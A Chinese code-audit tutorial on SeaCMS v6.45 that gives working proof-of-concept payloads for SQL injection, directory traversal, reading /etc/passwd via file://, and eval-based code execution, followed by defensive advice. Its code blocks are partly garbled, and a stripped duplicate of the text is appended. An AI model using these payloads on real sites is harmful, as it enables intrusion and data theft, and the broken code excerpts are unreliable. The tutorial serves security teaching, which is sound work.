通过 SeaCMS 学习代码审计
字数 1005 2025-08-13 21:33:27

SeaCMS v6.45 代码审计与漏洞分析教学文档

0x01 系统概述

SeaCMS 是一套专为不同需求的站长而设计的视频点播系统,本次审计版本为 v6.45(活跃于2015年),该版本存在多个典型漏洞,非常适合代码审计学习。

0x02 全局架构分析

核心文件结构

  1. 入口文件 index.php

    • 加载 include/common.php
    • 加载 main.class.php
    • 通过 echoIndex() 输出首页
  2. common.php 核心文件

    • 安全过滤机制:
      foreach($_REQUEST as $_k=>$_v){
          if(strlen($_k)>0 && m_eregi('^(cfg_|GLOBALS)',$_k) && !isset($_COOKIE[$_k])){
              exit('Request var not allow!');
          }
      }
      
    • GPC数据处理:
      foreach(Array('_GET','_POST','_COOKIE') as $_request){
          foreach(
      

\[_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v); } ``` - 文件上传安全处理: ```php $cfg_not_allowall = "php|pl|cgi|asp|asa|cer|aspx|jsp|php3|shtm|shtml"; ``` ### 后台架构 1. **后台入口 admin/index.php** - 加载 config.php 进行权限验证 - 使用 session 认证机制: ```php $hashstr=md5($cfg_dbpwd.$cfg_dbname.$cfg_dbuser); if($cuserLogin->getUserID()==-1 OR $_SESSION['hashstr'] !== $hashstr){ header("location:login.php?gotopage=".urlencode($EkNowurl)); exit(); } ``` ## 0x03 漏洞分析与利用 ### 1. 前台SQL注入 (comment/api/index.php) **漏洞点分析**: ```php $sql = "SELECT id,uid,... FROM sea_comment WHERE m_type=$type AND id in ($ids) ORDER BY id DESC"; ``` **利用条件**: 1. `$page >= 2` 2. `$gid > 0` 3. `$rlist` 为数组 **POC**: ``` http://target.com/comment/api/index.php?gid=1&page=2&rlist[]=extractvalue(1,concat_ws(0x7e,user(),database())) ``` ### 2. 后台反引号SQL注入 (admin/admin_database.php) **漏洞点**: ```php $dsql->SetQuery("Select * From `$nowtable` "); ``` **利用方式**: 1. 控制 `$action="bak"` 2. `$nowtable` 可控 3. 构造表名注入: ``` sea_admin` WHERE 1=extractvalue(1,concat(0x7e,DATABASE())); -- ``` ### 3. 目录穿越漏洞 **漏洞点**: ```php $path=strtolower($path); if(substr($path,0,11)!=$dirTemplate){ ShowMsg("只允许编辑templets目录!","admin_template.php"); exit; } ``` **绕过方式**: ``` ../templets/../../etc/passwd ``` ### 4. 任意文件读取 **漏洞点** (admin_collect_ruleadd2.htm): ```php $content = !empty($showcode)?@file_get_contents($siteurl):''; ``` **POC**: ``` POST /admin/admin_collect_news.php action=addrule&step=2&itemname=1&siteurl=file:///etc/passwd&showcode=111 ``` ### 5. 前台代码执行漏洞 **漏洞链**: 1. search.php 中变量覆盖: ```php foreach($_GET as $k=>$v){ \]

k=_RunMagicQuotes(gbutf8(RemoveXSS($v)));
}

2. parseIf() 函数中的 eval:
```php
@eval("if(".$strIf."){\$ifFlag=true;}else{\$ifFlag=false;}");

利用条件

  1. $searchtype=5
  2. 控制 $order 参数

POC

searchtype=5&searchword=d&order=}{end if}{if:1)phpinfo();if(1}{end if}

0x04 防御建议

  1. SQL注入防御

    • 使用预处理语句
    • 严格类型检查
    • 避免直接拼接SQL
  2. 目录穿越防御

    • 使用 realpath() 检查路径
    • 严格限制可访问目录
  3. 代码执行防御

    • 避免使用 eval()
    • 严格过滤动态内容
  4. 文件操作防御

    • 限制文件协议(file://)
    • 白名单校验文件路径
  5. 变量处理

    • 避免使用 `

\[` 变量覆盖 - 严格校验外部输入 ## 0x05 总结 通过对 SeaCMS v6.45 的审计,我们学习了: 1. 变量覆盖漏洞的利用 2. 反引号SQL注入技巧 3. 目录穿越漏洞的多种利用方式 4. 复杂代码执行漏洞的挖掘方法 5. 黑名单机制的绕过技巧 这些漏洞类型在CMS系统中具有代表性,掌握这些漏洞模式对提高代码审计能力有很大帮助。\]

SeaCMS v6.45 代码审计与漏洞分析教学文档 0x01 系统概述 SeaCMS 是一套专为不同需求的站长而设计的视频点播系统,本次审计版本为 v6.45(活跃于2015年),该版本存在多个典型漏洞,非常适合代码审计学习。 0x02 全局架构分析 核心文件结构 入口文件 index.php 加载 include/common.php 加载 main.class.php 通过 echoIndex() 输出首页 common.php 核心文件 安全过滤机制: GPC数据处理: 文件上传安全处理: 后台架构 后台入口 admin/index.php 加载 config.php 进行权限验证 使用 session 认证机制: 0x03 漏洞分析与利用 1. 前台SQL注入 (comment/api/index.php) 漏洞点分析 : 利用条件 : $page >= 2 $gid > 0 $rlist 为数组 POC : 2. 后台反引号SQL注入 (admin/admin_ database.php) 漏洞点 : 利用方式 : 控制 $action="bak" $nowtable 可控 构造表名注入: 3. 目录穿越漏洞 漏洞点 : 绕过方式 : 4. 任意文件读取 漏洞点 (admin_ collect_ ruleadd2.htm): POC : 5. 前台代码执行漏洞 漏洞链 : search.php 中变量覆盖: parseIf() 函数中的 eval: 利用条件 : $searchtype=5 控制 $order 参数 POC : 0x04 防御建议 SQL注入防御 : 使用预处理语句 严格类型检查 避免直接拼接SQL 目录穿越防御 : 使用 realpath() 检查路径 严格限制可访问目录 代码执行防御 : 避免使用 eval() 严格过滤动态内容 文件操作防御 : 限制文件协议(file://) 白名单校验文件路径 变量处理 : 避免使用 $$ 变量覆盖 严格校验外部输入 0x05 总结 通过对 SeaCMS v6.45 的审计,我们学习了: 变量覆盖漏洞的利用 反引号SQL注入技巧 目录穿越漏洞的多种利用方式 复杂代码执行漏洞的挖掘方法 黑名单机制的绕过技巧 这些漏洞类型在CMS系统中具有代表性,掌握这些漏洞模式对提高代码审计能力有很大帮助。